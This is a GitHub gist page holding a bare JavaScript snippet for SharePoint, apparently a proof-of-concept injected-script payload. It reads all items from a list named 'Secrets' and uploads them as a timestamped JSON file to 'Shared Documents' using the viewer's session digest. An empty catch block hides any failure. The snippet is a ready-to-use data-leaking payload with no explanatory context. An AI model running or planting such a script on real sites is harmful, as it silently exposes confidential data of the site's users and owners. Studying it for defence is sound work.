Skip to content

Instantly share code, notes, and snippets.

@mirontoli
Last active November 6, 2019 17:57
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mirontoli/f8847d6dcf2e68f33b5633151d96cd62 to your computer and use it in GitHub Desktop.
Save mirontoli/f8847d6dcf2e68f33b5633151d96cd62 to your computer and use it in GitHub Desktop.
try {
var xhr = new XMLHttpRequest();
xhr.open("GET", "/sites/DailyWork/_api/web/Lists/GetByTitle('Secrets')/Items", true);
xhr.setRequestHeader("Accept","application/json;odata=nometadata");
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status == 200) {
var content = xhr.responseText;
var time = new Date().getTime();
var url = _spPageContextInfo.webServerRelativeUrl
+ "/_api/web/getfolderbyserverrelativeurl('Shared Documents')/Files/add(overwrite=true, url='"
+ time + ".json')";
var xhrUpload = new XMLHttpRequest();
xhrUpload.open("POST", url, true);
xhrUpload.setRequestHeader("Content-Type", "text/plain")
xhrUpload.setRequestHeader("X-RequestDigest", __REQUESTDIGEST.value);
xhrUpload.send(content);
}
}
}
xhr.send(null);
}
catch(e) { /* do nothing */ }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment